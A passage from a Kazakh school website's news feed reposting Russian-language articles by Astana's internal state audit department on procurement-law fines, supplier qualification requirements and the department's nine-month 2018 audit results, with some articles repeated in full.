закупок способом запроса ценовых предложений, путем установления любых не измеряемых количественно и (или) неадминистрируемых требований к потенциальным поставщикам либо указания на характеристики, определяющие принадлежность приобретаемых товаров, работ, услуг отдельным потенциальным поставщикам, за исключением случаев, предусмотренных законодательством Республики Казахстан о государственных закупках и влечет штраф на должностных лиц в размере 50 МРП. Субъектом данного правонарушения является – первый руководитель организатора государственных закупок, заказчика или лиц, исполняющих их обязанности, ответственных за осуществление процедур организации и проведения государственных закупок, и (или) лиц, непосредственно участвующих в разработке конкурсной документации (аукционной документации). Часть вторая рассматриваемой статьи предусматривает ответственность за несвоевременное рассмотрение замечаний к проекту конкурсной документации (аукционной документации), поступивших в рамках предварительного обсуждения проекта конкурсной документации (аукционной документации), а равно несвоевременное размещение на веб-портале государственных закупок протокола предварительного обсуждения проекта конкурсной документации (аукционной документации), а также текста конкурсной документации (аукционной документации) и влечет штраф на должностных лиц в размере 30 МРП. Под должностным лицом за данное правонарушение является первый руководитель организатора государственных закупок, заказчика или лиц, исполняющих их обязанности, ответственных за осуществление процедур организации и проведения государственных закупок.Ответственность за отказ от осуществления государственных закупок в случаях, не предусмотренных законодательством Республики Казахстан о государственных закупках, предусмотрена в части третей статьи 207 Кодекса и за совершение которого на первого руководителя либо ответственного секретаря или иного осуществляющего полномочия ответственного секретаря должностного лица, определяемого Президентом Республики Казахстан, заказчика либо лица, исполняющего его обязанности лицо налагается административный штраф в размере 100 МРП. За направление запроса и иные действия конкурсной комиссии (аукционной комиссии), связанные с дополнением заявки на участие в конкурсе (аукционе) недостающими документами, заменой документов, представленных в заявке на участие в конкурсе (аукционе), приведением в соответствие ненадлежащим образом оформленных документов, после истечения срока приведения заявок на участие в конкурсе (аукционе) в соответствие с квалификационными требованиями и требованиями конкурсной документации (аукционной документации), предусмотренными законодательством Республики Казахстан о государственных закупках, ответственность предусмотрена частью 4 рассматриваемой статьи Кодекса. За данное правонарушение предусмотрена административная ответственность в виде штрафа на должностных лиц в размере 100 МРП. Под должностным лицом в данное части понимается председатель конкурсной комиссии (аукционной комиссии) и его заместитель, а также члены и секретарь конкурсной комиссии (аукционной комиссии). Кроме того, частью пятой статьи 207 Кодекса предусмотрена ответственность за установление в конкурсной документации (аукционной документации) к потенциальным поставщикам и (или) к привлекаемым ими субподрядчикам (соисполнителям) работ либо услуг квалификационных требований, не предусмотренных законодательством Республики Казахстан о государственных закупках. За нарушение данное нормы влечет ответственность в виде штрафа на должностных лиц в размере 100 МРП. Должностным лицом по данному нарушению является первый руководитель либо ответственный секретарь или иное осуществляющее полномочия ответственного секретаря должностное лицо, определяемое Президентом Республики Казахстан, заказчика либо лица, исполняющего его обязанности. За нарушение требований законодательства Республики Казахстан о государственных закупках в части невключения в конкурсную документацию критериев, влияющих на конкурсное ценовое предложение участников конкурса, влечет штраф на первых руководителей организатора государственных закупок, заказчика или лиц, исполняющих их обязанности, ответственных за осуществление процедур организации и проведения государственных закупок, в размере 50 МРП. Часть седьмая статьи 207 Кодекса предусматривает административную ответственность за нарушение требований законодательства Республики Казахстан о государственных закупках в части неприменения к конкурсным ценовым предложениям относительного значения критериев, влияющих на конкурсное ценовое предложение участников конкурса, и влечет штраф на должностных лиц в размере 50 МРП. В данном же случае под должностными лицами понимаются председатель конкурсной комиссии и его заместитель, а также члены конкурсной комиссии. Административная ответственность также предусмотрена за признание потенциального поставщика и (или) привлекаемых им субподрядчиков (соисполнителей) работ либо услуг несоответствующими квалификационным требованиям и (или) требованиям конкурсной документации (аукционной документации) по основаниям, не предусмотренным законодательством Республики Казахстан о государственных закупках. За данный вид нарушения предусматривает штраф на председателя конкурсной комиссии (аукционной комиссии) и его заместителя, а также членов конкурсной комиссии (аукционной комиссии) в размере 100 МРП (часть восьмая). За неразделение на лоты при осуществлении государственных закупок в случаях, предусмотренных Законом Республики Казахстан "О государственных закупках", предусмотрен штраф на должностных лиц в размере 50 МРП (часть девятая).Ответственность за данное нарушение несут первые руководители организатора государственных закупок, заказчика или лиц, исполняющих их обязанности, ответственных за осуществление процедур организации и проведения государственных закупок. Ответственность за подготовка экспертной комиссией либо экспертом заведомо ложного экспертного заключения, на основании которого принято незаконное решение конкурсной комиссией (аукционной комиссией), предусмотрена частью десятой статьи 207 Кодекса и влечет штраф в размере 50 МРП. В соответствии с часть одиннадцать статьи 207 Кодекса, на должностных лиц предусмотрен штраф в размере 30 МРП за необращение или несвоевременное обращение заказчика в суд с иском о признании потенциальных поставщиков, поставщиков недобросовестными участниками государственных закупок в случаях:1) когда заказчик в одностороннем порядке расторг с поставщиком договор о государственных закупках, в ходе исполнения которого установлено, что поставщик не соответствует квалификационным требованиям и требованиям конкурсной документации (аукционной документации) или предоставил недостоверную информацию о своем соответствии таким требованиям, что позволило ему стать победителем конкурса (аукциона), по результатам которой заключен такой договор;2) неисполнения либо ненадлежащего исполнения поставщиком обязательств по заключенному с ним договору о государственных закупках.Ответственность за данное нарушение несут первые руководители организатора государственных закупок, заказчика или лиц, исполняющих их обязанности, ответственных за осуществление процедур организации и проведения государственных закупок.Особенно часто встречающимся видом нарушения является осуществление государственных закупок способом из одного источника путем прямого заключения договора о государственных закупках в случаях, не предусмотренных законодательством Республики Казахстан о государственных закупках. Данный вид нарушения предусмотрен частью двенадцать статьи 207 Кодекса и предусматривает штраф на должностных лиц в размере 100 МРП.Ответственность за данное нарушение несут первые руководители организатора государственных закупок, заказчика или лиц, исполняющих их обязанности, ответственных за осуществление процедур организации и проведения государственных закупок. И наконец, в связи с внедрением предварительного протокола допуска и обеспечения прозрачности принятых решений организаторами государственных закупок частью тринадцать статьи 207 предусмотрена административная ответственность за неуказание в протоколах предварительного допуска на участие в конкурсе (аукционе), об итогах государственных закупок способом конкурса (аукциона) подробного описания причин отклонения заявки потенциального поставщика на участие в конкурсе (аукционе), в том числе сведений и документов, подтверждающих его несоответствие квалификационным требованиям и требованиям конкурсной документации (аукционной документации). За данный вид нарушения законодательством предусмотрена ответственность в виде штрафа на должностных лиц в размере 10 МРП. Подводя итоги вышесказанного, во избежание нарушений норм законодательствам в сфере государственных закупок и административной ответственности соответственно, рекомендуется уделять особое внимание при принятии решения на стадии утверждения конкурсной документации (аукционной документации) либо в размещаемой информации при осуществлении государственных закупок способом запроса ценовых предложений, рассмотрения замечаний к проекту конкурсной документации (аукционной документации), поступивших в рамках предварительного обсуждения проекта конкурсной документации (аукционной документации), при принятии решения об отказе от осуществления государственных закупок, при принятии решения о признании потенциальных поставщиков не соответствующими квалификационным требованиям и требованиям конкурсной документации, при осуществлении государственных закупок способом из одного источника путем прямого заключения договора и на стадии исполнения договора, в случаях предусмотренных частью одиннадцать рассматриваемой статьи Кодекса. Руководитель отдела камерального контроляДепартамента внутреннего государственногоАудита по городу Астана Исахметов Талгат Айдарбекович Руководитель отдела планирования, анализа и отчетности Департамента внутреннего государственного аудита по г.Астана Байкуанышов А.А. 24mektepFri, 07 Dec 2018 11:33:39 +0600http://24.astana-bilim.kz/news/?pkid=1544160872047111Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1544160872047111Основания признания потенциального поставщика не соответствующим квалификационным требованиямhttp://24.astana-bilim.kz/news/?pkid=1544160763617363Основания признания потенциального поставщика не соответствующим квалификационным требованиям Одной из распространенных видов нарушений в сфере государственных закупок является необоснованное признание потенциальных поставщиков не соответствующими квалификационным требованиям, предусмотренной конкурсной документацией. Ранее в статье «Квалификационные требования, устанавливаемые к потенциальным поставщикам» нами рассмотрены квалификационные требования, которые могут быть установлены к потенциальным поставщикам. Это и является своего рода исходной точкой для признания потенциальных поставщиков не соответствующими квалификационным требованиям, предусмотренным конкурсной документацией, в случае если потенциальные поставщики не подтвердили свое соответствие таким требованиям. Однако, немало случаев, когда потенциальные поставщики необоснованно признаются конкурсной комиссией не соответствующими квалификационными требованиям. Хочется верить, что подобные нарушения допускаются исключительно по незнанию действующего законодательства в сфере государственных закупок, где предусмотрены основания признания потенциальных поставщиков не соответствующими квалификационным требованиям. В данной статье рассмотрим основания признания потенциальных поставщиков не соответствующим квалификационным требованиям, предусмотренным законодательством в сфере государственных закупок. Согласно пункту 1 статьи 10 Закона Республики Казахстан от 4 декабря 2015 года № 434-V ЗРК (далее - Закон), потенциальный поставщик признается не соответствующим квалификационным требованиям по одному из следующих оснований:1) непредставления документа (документов) для подтверждения соответствия квалификационным требованиям потенциального поставщика и (или) привлекаемого им субподрядчика (соисполнителя) работ либо услуг;2) установления факта несоответствия квалификационным требованиям на основании информации, содержащейся в документах, предоставленных потенциальным поставщиком для подтверждения его соответствия, а также несоответствия привлекаемого им субподрядчика (соисполнителя) работ либо услуг квалификационным требованиям;3) установления факта предоставления недостоверной информации по квалификационным требованиям. Согласно пункту 2 данной статьи Закона, не допускается признание потенциального поставщика и (или) привлекаемого им субподрядчика (соисполнителя) работ либо услуг не соответствующим квалификационным требованиям по основаниям, не предусмотренным пунктом 1 настоящей статьи. Кроме того, согласно подпункту 1) пункта 6 статьи 27 Закона, потенциальный поставщик не может быть допущен к участию в конкурсе (признан участником конкурса) после приведения заявок на участие в конкурсе в соответствие с квалификационными требованиями и требованиями конкурсной документации согласно пункту 4 настоящей статьи, если он и (или) привлекаемый им субподрядчик (соисполнитель) определены не соответствующими квалификационным требованиям по основаниям, определенным настоящим Законом и правилами осуществления государственных закупок. В свою очередь подпункт 1) пункта 150 Правил осуществления государственных закупок, утвержденных приказом Министра финансов Республики Казахстан от 11 декабря 2015 года № 648 (далее - Правила), гласит, что потенциальный поставщик не допускается к участию в конкурсе (признан участником конкурса), если он и (или) его субподрядчик либо соисполнитель определены не соответствующими квалификационным требованиям по следующим основаниям:1) отсутствие разрешений (уведомлений), полученных (направленных) в соответствии с законодательством Республики Казахстан о разрешениях и уведомлениях, сведения о которых подтверждаются в информационных системах государственных органов. В случае отсутствия сведений в информационных системах государственных органов потенциальный поставщик представляет нотариально засвидетельствованную копию соответствующего разрешения (уведомления), полученного (направленного) в соответствии с законодательством Республики Казахстан о разрешениях и уведомлениях;2) непредставление электронных копий либо в виде электронного документа патентов, свидетельств, сертификатов, других документов, подтверждающих право потенциального поставщика на производство, переработку, поставку и реализацию закупаемых товаров, выполнение работ, оказание услуг;3) наличие налоговой задолженности и задолженности по обязательным пенсионным взносам, обязательным профессиональным пенсионным взносам и социальным отчислениям в размере одного тенге и более (за исключением случаев, когда срок уплаты отсрочен в соответствии с законодательством Республики Казахстан), определяемые веб-порталом автоматически на основании сведений органов государственных доходов;4) непредставление сведений о квалификации согласно приложениям 5, 6 и 7 к конкурсной документации;5) несоответствие потенциального поставщика квалификационным требованиям в части обладания опытом работы на рынке закупаемых товаров, работ, услуг, наличие которых установлено в конкурсной документации (аукционной документации);6) несоответствие потенциального поставщика квалификационным требованиям в части обладания материальными и трудовыми ресурсами, достаточными для исполнения обязательств по договору, указанным в конкурсной документации;7) установлен факт представления недостоверной информации по квалификационным требованиям;8) подлежит процедуре банкротства либо ликвидации;При этом необходимо учесть, что наличие налоговой задолженности и задолженности по обязательным пенсионным взносам, обязательным профессиональным пенсионным взносам и социальным отчислениям в размере одного тенге и более (за исключением случаев, когда срок уплаты отсрочен в соответствии с законодательством Республики Казахстан), определяется веб-порталом автоматически на основании сведений органов государственных доходов.Кроме того, согласно пункту 136 Правил, в целях уточнения соответствия потенциальных поставщиков квалификационным требованиям в части их непричастности к процедуре банкротства либо ликвидации конкурсная комиссия рассматривает информацию, размещенную на интернет-ресурсе уполномоченного органа, осуществляющего контроль за проведением процедур банкротства либо ликвидации.Таким образом, во избежание допущения нарушений норм законодательства в сфере государственных закупок, при решении вопроса о признании потенциальных поставщиков соответствующими либо не соответствующими квалификационным требованиям необходимо учитывать основания признания потенциального поставщика не соответствующим квалификационным требованиям, предусмотренные законодательством о государственных закупках. Руководитель отдела камерального контроляДепартамента внутреннего государственногоАудита по городу Астана Исахметов Талгат Айдарбекович Руководитель отдела планирования, анализа и отчетности Департамента внутреннего государственного аудита по г.Астана Байкуанышов А.А.Основания признания потенциального поставщика не соответствующим квалификационным требованиям Одной из распространенных видов нарушений в сфере государственных закупок является необоснованное признание потенциальных поставщиков не соответствующими квалификационным требованиям, предусмотренной конкурсной документацией. Ранее в статье «Квалификационные требования, устанавливаемые к потенциальным поставщикам» нами рассмотрены квалификационные требования, которые могут быть установлены к потенциальным поставщикам. Это и является своего рода исходной точкой для признания потенциальных поставщиков не соответствующими квалификационным требованиям, предусмотренным конкурсной документацией, в случае если потенциальные поставщики не подтвердили свое соответствие таким требованиям. Однако, немало случаев, когда потенциальные поставщики необоснованно признаются конкурсной комиссией не соответствующими квалификационными требованиям. Хочется верить, что подобные нарушения допускаются исключительно по незнанию действующего законодательства в сфере государственных закупок, где предусмотрены основания признания потенциальных поставщиков не соответствующими квалификационным требованиям. В данной статье рассмотрим основания признания потенциальных поставщиков не соответствующим квалификационным требованиям, предусмотренным законодательством в сфере государственных закупок. Согласно пункту 1 статьи 10 Закона Республики Казахстан от 4 декабря 2015 года № 434-V ЗРК (далее - Закон), потенциальный поставщик признается не соответствующим квалификационным требованиям по одному из следующих оснований:1) непредставления документа (документов) для подтверждения соответствия квалификационным требованиям потенциального поставщика и (или) привлекаемого им субподрядчика (соисполнителя) работ либо услуг;2) установления факта несоответствия квалификационным требованиям на основании информации, содержащейся в документах, предоставленных потенциальным поставщиком для подтверждения его соответствия, а также несоответствия привлекаемого им субподрядчика (соисполнителя) работ либо услуг квалификационным требованиям;3) установления факта предоставления недостоверной информации по квалификационным требованиям. Согласно пункту 2 данной статьи Закона, не допускается признание потенциального поставщика и (или) привлекаемого им субподрядчика (соисполнителя) работ либо услуг не соответствующим квалификационным требованиям по основаниям, не предусмотренным пунктом 1 настоящей статьи. Кроме того, согласно подпункту 1) пункта 6 статьи 27 Закона, потенциальный поставщик не может быть допущен к участию в конкурсе (признан участником конкурса) после приведения заявок на участие в конкурсе в соответствие с квалификационными требованиями и требованиями конкурсной документации согласно пункту 4 настоящей статьи, если он и (или) привлекаемый им субподрядчик (соисполнитель) определены не соответствующими квалификационным требованиям по основаниям, определенным настоящим Законом и правилами осуществления государственных закупок. В свою очередь подпункт 1) пункта 150 Правил осуществления государственных закупок, утвержденных приказом Министра финансов Республики Казахстан от 11 декабря 2015 года № 648 (далее - Правила), гласит, что потенциальный поставщик не допускается к участию в конкурсе (признан участником конкурса), если он и (или) его субподрядчик либо соисполнитель определены не соответствующими квалификационным требованиям по следующим основаниям:1) отсутствие разрешений (уведомлений), полученных (направленных) в соответствии с законодательством Республики Казахстан о разрешениях и уведомлениях, сведения о которых подтверждаются в информационных системах государственных органов. В случае отсутствия сведений в информационных системах государственных органов потенциальный поставщик представляет нотариально засвидетельствованную копию соответствующего разрешения (уведомления), полученного (направленного) в соответствии с законодательством Республики Казахстан о разрешениях и уведомлениях;2) непредставление электронных копий либо в виде электронного документа патентов, свидетельств, сертификатов, других документов, подтверждающих право потенциального поставщика на производство, переработку, поставку и реализацию закупаемых товаров, выполнение работ, оказание услуг;3) наличие налоговой задолженности и задолженности по обязательным пенсионным взносам, обязательным профессиональным пенсионным взносам и социальным отчислениям в размере одного тенге и более (за исключением случаев, когда срок уплаты отсрочен в соответствии с законодательством Республики Казахстан), определяемые веб-порталом автоматически на основании сведений органов государственных доходов;4) непредставление сведений о квалификации согласно приложениям 5, 6 и 7 к конкурсной документации;5) несоответствие потенциального поставщика квалификационным требованиям в части обладания опытом работы на рынке закупаемых товаров, работ, услуг, наличие которых установлено в конкурсной документации (аукционной документации);6) несоответствие потенциального поставщика квалификационным требованиям в части обладания материальными и трудовыми ресурсами, достаточными для исполнения обязательств по договору, указанным в конкурсной документации;7) установлен факт представления недостоверной информации по квалификационным требованиям;8) подлежит процедуре банкротства либо ликвидации;При этом необходимо учесть, что наличие налоговой задолженности и задолженности по обязательным пенсионным взносам, обязательным профессиональным пенсионным взносам и социальным отчислениям в размере одного тенге и более (за исключением случаев, когда срок уплаты отсрочен в соответствии с законодательством Республики Казахстан), определяется веб-порталом автоматически на основании сведений органов государственных доходов.Кроме того, согласно пункту 136 Правил, в целях уточнения соответствия потенциальных поставщиков квалификационным требованиям в части их непричастности к процедуре банкротства либо ликвидации конкурсная комиссия рассматривает информацию, размещенную на интернет-ресурсе уполномоченного органа, осуществляющего контроль за проведением процедур банкротства либо ликвидации.Таким образом, во избежание допущения нарушений норм законодательства в сфере государственных закупок, при решении вопроса о признании потенциальных поставщиков соответствующими либо не соответствующими квалификационным требованиям необходимо учитывать основания признания потенциального поставщика не соответствующим квалификационным требованиям, предусмотренные законодательством о государственных закупках. Руководитель отдела камерального контроляДепартамента внутреннего государственногоАудита по городу Астана Исахметов Талгат Айдарбекович Руководитель отдела планирования, анализа и отчетности Департамента внутреннего государственного аудита по г.Астана Байкуанышов А.А.24mektepFri, 07 Dec 2018 11:31:39 +0600http://24.astana-bilim.kz/news/?pkid=1544160763617363Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1544160763617363Квалификационные требования, устанавливаемые к потенциальным поставщикам. http://24.astana-bilim.kz/news/?pkid=1544160621360448Квалификационные требования, устанавливаемые к потенциальным поставщикам. Действующее законодательство в сфере государственных закупок в целях обеспечения качества поставляемых товаров, выполняемых работ и оказываемых услуг предусматривает возможность установления квалификационных требований к потенциальным поставщикам. Какие квалификационные требования можно установить к потенциальным поставщикам в конкурсной/аукционной документации рассмотрим ниже. Так, в соответствии с пунктом 1 статьи 9 Закона Республики Казахстан от 4 декабря 2015 года № 434-V ЗРК «О государственных закупках» (далее - Закон), к потенциальным поставщикам предъявляются следующие квалификационные требования: 1) обладать правоспособностью (для юридических лиц), гражданской дееспособностью (для физических лиц); 2) являться платежеспособным, не иметь налоговой задолженности; 3) не подлежать процедуре банкротства либо ликвидации; 4) обладать соответствующими материальными и трудовыми ресурсами, достаточными для исполнения обязательств по договору о государственных закупках товаров, работ, услуг; 5) наличие опыта работы.Требование подпункта 5) настоящего пункта устанавливается в соответствии с критериями, определяемыми правилами осуществления государственных закупок (далее - Правила).В соответствии с пунктом 442 Правил, опыт работы на рынке закупаемых товаров, работ, услуг потенциального поставщика, может быть установлено в конкурсной документации (аукционной документации), согласно следующим критериям:1) до двух лет, если выделенная сумма на осуществление государственных закупок способом конкурса (аукциона) превышают пятидесятитысячекратный размер месячного расчетного показателя, установленного на соответствующий финансовый год;2) до пяти лет, если выделенная сумма на осуществление государственных закупок способом конкурса (аукциона) превышают двухсоттысячекратный размер месячного расчетного показателя, установленного на соответствующий финансовый год. При этом, согласно пункта 2 вышеуказанной статьи Закона, не допускается установление квалификационных требований, указанных в подпункте 4) пункта 1 настоящей статьи, которые: 1) ограничивают и необоснованно усложняют участие потенциальных поставщиков в государственных закупках; 2) непосредственно не вытекают из необходимости выполнения обязательств по договору о государственных закупках товаров, работ, услуг. Правоспособность потенциального поставщика, осуществляющего виды деятельности, на занятие которыми необходимо получение разрешения, направление уведомления, подтверждается посредством информационных систем государственных органов в соответствии с законодательством Республики Казахстан об информатизации.В случае отсутствия сведений в информационных системах государственных органов потенциальный поставщик представляет нотариально засвидетельствованную копию соответствующего разрешения (уведомления), полученного (направленного) в соответствии с законодательством Республики Казахстан.Квалификационные требования, установленные пунктом 1 статьи 9 Закона, распространяются также на физических лиц, осуществляющих предпринимательскую деятельность, и юридических лиц, которых потенциальный поставщик предусматривает привлечь в качестве субподрядчиков по выполнению работ либо соисполнителей по оказанию услуг, являющихся предметом проводимых государственных закупок.Потенциальный поставщик, который предусматривает привлечение субподрядчиков (соисполнителей) работ либо услуг, должен представить организатору государственных закупок документы, подтверждающие соответствие привлекаемых субподрядчиков (соисполнителей) работ либо услуг квалификационным требованиям, установленным пунктом 1 настоящей статьи.В случае привлечения субподрядчиков (соисполнителей) для выполнения отдельных видов работ либо услуг документы, подтверждающие их соответствие квалификационным требованиям, установленным пунктом 1 статьи 9 Закона, представляются на выполняемые ими виды работ, услуг.Предельные объемы работ и услуг, которые могут быть переданы субподрядчикам (соисполнителям) для выполнения работ либо оказания услуг, не должны превышать в совокупности две трети объема выполняемых работ или оказываемых услуг.При этом субподрядчикам (соисполнителям) запрещается передавать иным субподрядчикам (соисполнителям) объемы выполнения работ либо оказания услуг, являющихся предметом проводимых государственных закупок.Квалификационные требования не распространяются на случаи осуществления государственных закупок, предусмотренные статьями 37, 38, подпунктом 2) пункта 2 и пунктом 3 статьи 39 и статьей 42 Закона.Не допускается установление квалификационных требований, не предусмотренных пунктом 1 статьи 9 Закона, за исключением случаев, предусмотренных статьями 31, 50 и пунктом 6 статьи 51 настоящего Закона. Руководитель отдела камерального контроляДепартамента внутреннего государственногоАудита по городу Астана Исахметов Талгат Айдарбекович Руководитель отдела планирования, анализа и отчетности Департамента внутреннего государственного аудита по г. Астана Байкуанышов А.А. Квалификационные требования, устанавливаемые к потенциальным поставщикам. Действующее законодательство в сфере государственных закупок в целях обеспечения качества поставляемых товаров, выполняемых работ и оказываемых услуг предусматривает возможность установления квалификационных требований к потенциальным поставщикам. Какие квалификационные требования можно установить к потенциальным поставщикам в конкурсной/аукционной документации рассмотрим ниже. Так, в соответствии с пунктом 1 статьи 9 Закона Республики Казахстан от 4 декабря 2015 года № 434-V ЗРК «О государственных закупках» (далее - Закон), к потенциальным поставщикам предъявляются следующие квалификационные требования: 1) обладать правоспособностью (для юридических лиц), гражданской дееспособностью (для физических лиц); 2) являться платежеспособным, не иметь налоговой задолженности; 3) не подлежать процедуре банкротства либо ликвидации; 4) обладать соответствующими материальными и трудовыми ресурсами, достаточными для исполнения обязательств по договору о государственных закупках товаров, работ, услуг; 5) наличие опыта работы.Требование подпункта 5) настоящего пункта устанавливается в соответствии с критериями, определяемыми правилами осуществления государственных закупок (далее - Правила).В соответствии с пунктом 442 Правил, опыт работы на рынке закупаемых товаров, работ, услуг потенциального поставщика, может быть установлено в конкурсной документации (аукционной документации), согласно следующим критериям:1) до двух лет, если выделенная сумма на осуществление государственных закупок способом конкурса (аукциона) превышают пятидесятитысячекратный размер месячного расчетного показателя, установленного на соответствующий финансовый год;2) до пяти лет, если выделенная сумма на осуществление государственных закупок способом конкурса (аукциона) превышают двухсоттысячекратный размер месячного расчетного показателя, установленного на соответствующий финансовый год. При этом, согласно пункта 2 вышеуказанной статьи Закона, не допускается установление квалификационных требований, указанных в подпункте 4) пункта 1 настоящей статьи, которые: 1) ограничивают и необоснованно усложняют участие потенциальных поставщиков в государственных закупках; 2) непосредственно не вытекают из необходимости выполнения обязательств по договору о государственных закупках товаров, работ, услуг. Правоспособность потенциального поставщика, осуществляющего виды деятельности, на занятие которыми необходимо получение разрешения, направление уведомления, подтверждается посредством информационных систем государственных органов в соответствии с законодательством Республики Казахстан об информатизации.В случае отсутствия сведений в информационных системах государственных органов потенциальный поставщик представляет нотариально засвидетельствованную копию соответствующего разрешения (уведомления), полученного (направленного) в соответствии с законодательством Республики Казахстан.Квалификационные требования, установленные пунктом 1 статьи 9 Закона, распространяются также на физических лиц, осуществляющих предпринимательскую деятельность, и юридических лиц, которых потенциальный поставщик предусматривает привлечь в качестве субподрядчиков по выполнению работ либо соисполнителей по оказанию услуг, являющихся предметом проводимых государственных закупок.Потенциальный поставщик, который предусматривает привлечение субподрядчиков (соисполнителей) работ либо услуг, должен представить организатору государственных закупок документы, подтверждающие соответствие привлекаемых субподрядчиков (соисполнителей) работ либо услуг квалификационным требованиям, установленным пунктом 1 настоящей статьи.В случае привлечения субподрядчиков (соисполнителей) для выполнения отдельных видов работ либо услуг документы, подтверждающие их соответствие квалификационным требованиям, установленным пунктом 1 статьи 9 Закона, представляются на выполняемые ими виды работ, услуг.Предельные объемы работ и услуг, которые могут быть переданы субподрядчикам (соисполнителям) для выполнения работ либо оказания услуг, не должны превышать в совокупности две трети объема выполняемых работ или оказываемых услуг.При этом субподрядчикам (соисполнителям) запрещается передавать иным субподрядчикам (соисполнителям) объемы выполнения работ либо оказания услуг, являющихся предметом проводимых государственных закупок.Квалификационные требования не распространяются на случаи осуществления государственных закупок, предусмотренные статьями 37, 38, подпунктом 2) пункта 2 и пунктом 3 статьи 39 и статьей 42 Закона.Не допускается установление квалификационных требований, не предусмотренных пунктом 1 статьи 9 Закона, за исключением случаев, предусмотренных статьями 31, 50 и пунктом 6 статьи 51 настоящего Закона. Руководитель отдела камерального контроляДепартамента внутреннего государственногоАудита по городу Астана Исахметов Талгат Айдарбекович Руководитель отдела планирования, анализа и отчетности Департамента внутреннего государственного аудита по г. Астана Байкуанышов А.А. 24mektepFri, 07 Dec 2018 11:29:12 +0600http://24.astana-bilim.kz/news/?pkid=1544160621360448Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1544160621360448Информация о результатах деятельности Департамента внутреннего государственного аудита по городу Астане по итогам 9 месяцев 2018 годаhttp://24.astana-bilim.kz/news/?pkid=1544099565874147<table><tbody><tr><td width="638"> </td></tr></tbody></table><div style="text-align:center;">Информация о результатах деятельности Департамента внутреннего государственного аудита по городу Астане </div><div style="text-align:center;">по итогам 9 месяцев 2018 года</div><div style="text-align:center;"> </div>Департаментом внутреннего государственного аудита по городу Астане (далее – Департамент) в соответствии со статьей 14 Закона Республики Казахстан«О государственном аудите и финансовом контроле» от 12 ноября 2015 года №392-VЗРК (далее-Закон) в пределах компетенций за 9 месяцев текущего года проведены 120 аудиторских мероприятий. Общий объем охваченных аудитом средств составил более 172,3 млрд. тенге. Из которых в результате проведённых мероприятий выявлены нарушения на общую сумму 86,8 млрд. тенге или 50,3 % от общего объема средств охваченных аудитом, из них финансовые нарушения составили свыше 18,9 млрд.тенге или 21,7 % от общей суммы выявленных нарушений, нарушения процедурного характера составила – 20,8 млрд. тенге или 23,9 % от общей суммы выявленных нарушений и нарушения законодательства о государственных закупках составили более 47,1 млрд. тенге или 54,4 % общей суммы выявленных нарушений. Наряду с этим, в рамках взаимодействия, уполномоченного органа по внутреннему государственному аудиту с органами прокуратуры и уголовного преследования работники Департамента, в качестве привлеченных специалистов, приняли участие в 56 проверках, в ходе которых выявлены нарушения на общую сумму около 7,1 млрд. тенге, в том числе нарушения законодательства о государственных закупках составили 2,4 млрд.тенге.В соответствии с п.2 статьи 5 вышеуказанного Закона мерами реагирования финансового контроля являются вынесение обязательного для исполнения всеми государственными органами, организациями и должностными лицами предписания об устранении выявленных нарушений и о рассмотрении ответственности лиц, их допустивших. Из общей суммы установленных нарушений подлежит возмещению/восстановлению свыше 18,9 млрд. тенге, из которых на сегодняшний день возмещено в доход бюджета и восстановлены, путем выполнения работ и услуг, поставкой товаров более 5,1 млрд. тенге.По оставшейся сумме по возмещению в бюджет и восстановлению, путем выполнения работ и услуг, ведутся уголовные, судебные и претензионно- исковые работы.За допущенные нарушения привлечены к дисциплинарной ответственности 65 должностных лиц.А также, одним из мер реагирования являются, в случаях выявления признаков уголовных или административных правонарушений в действиях должностных лиц объекта государственного аудита передача материалов с соответствующими аудиторскими доказательствами в правоохранительные органы или органы, уполномоченные возбуждать и (или) рассматривать дела об административных правонарушениях.Так, за отчетный период по возбужденным в отношении должностных лиц объектов аудита административным делам, наложены штрафы на общую сумму 5,4 млн. тенге по 52 постановлениям, из которых поступили бюджет 4,3 млн. тенге или 79,6%.В правоохранительные органы для принятия процессуального решения переданы 24 аудиторских материала.По итогам аудита даны рекомендации принять меры по совершенствованию отдельных нормативных правовых актов. ДеятельностьДепартамента, направленная на предупреждение и профилактику коррупционных правонарушений и соблюдение Этического Кодекса государственных служащих Республики Казахстан, проводится в соответствии с разработанным планом мероприятий, во взаимодействии с правоохранительными органами и с представителями Совета по этике.В целях создания обстановки нетерпимости к проявлениям коррупции, проводится целенаправленная работа, в том числе техническая учеба с сотрудниками Департамента по отдельному плану в том числе по антикорруционному законодательству, до сведения каждого специалиста доведено требование по неукоснительному соблюдению положений антикоррупционного законодательства, этических и профессиональных норм поведения на объекте аудита. При направлении специалистов на объект аудита, в обязательном порядке проводится подготовительная работа, инструктаж по вопросам качества аудита, соответствия его Стандартам государственного аудита и финансового контроля и профилактики коррупционных правонарушений.Данные вопросы профилактики и недопущения коррупционных правонарушений среди сотрудников Департамента, находятся на постоянном личном контроле руководства Департамента.В целях своевременного пресечения необоснованного использования бюджетных средств и других финансовых нарушений действует телефон доверия: 35-20-23, в фойе здания Департамента размещен ящик для приема обращений физическихи юридических лиц и график приема гражданпо адресу: Петрова 5. <table><tbody><tr><td width="638"> </td></tr></tbody></table><div style="text-align:center;">Информация о результатах деятельности Департамента внутреннего государственного аудита по городу Астане </div><div style="text-align:center;">по итогам 9 месяцев 2018 года</div><div style="text-align:center;"> </div>Департаментом внутреннего государственного аудита по городу Астане (далее – Департамент) в соответствии со статьей 14 Закона Республики Казахстан«О государственном аудите и финансовом контроле» от 12 ноября 2015 года №392-VЗРК (далее-Закон) в пределах компетенций за 9 месяцев текущего года проведены 120 аудиторских мероприятий. Общий объем охваченных аудитом средств составил более 172,3 млрд. тенге. Из которых в результате проведённых мероприятий выявлены нарушения на общую сумму 86,8 млрд. тенге или 50,3 % от общего объема средств охваченных аудитом, из них финансовые нарушения составили свыше 18,9 млрд.тенге или 21,7 % от общей суммы выявленных нарушений, нарушения процедурного характера составила – 20,8 млрд. тенге или 23,9 % от общей суммы выявленных нарушений и нарушения законодательства о государственных закупках составили более 47,1 млрд. тенге или 54,4 % общей суммы выявленных нарушений. Наряду с этим, в рамках взаимодействия, уполномоченного органа по внутреннему государственному аудиту с органами прокуратуры и уголовного преследования работники Департамента, в качестве привлеченных специалистов, приняли участие в 56 проверках, в ходе которых выявлены нарушения на общую сумму около 7,1 млрд. тенге, в том числе нарушения законодательства о государственных закупках составили 2,4 млрд.тенге.В соответствии с п.2 статьи 5 вышеуказанного Закона мерами реагирования финансового контроля являются вынесение обязательного для исполнения всеми 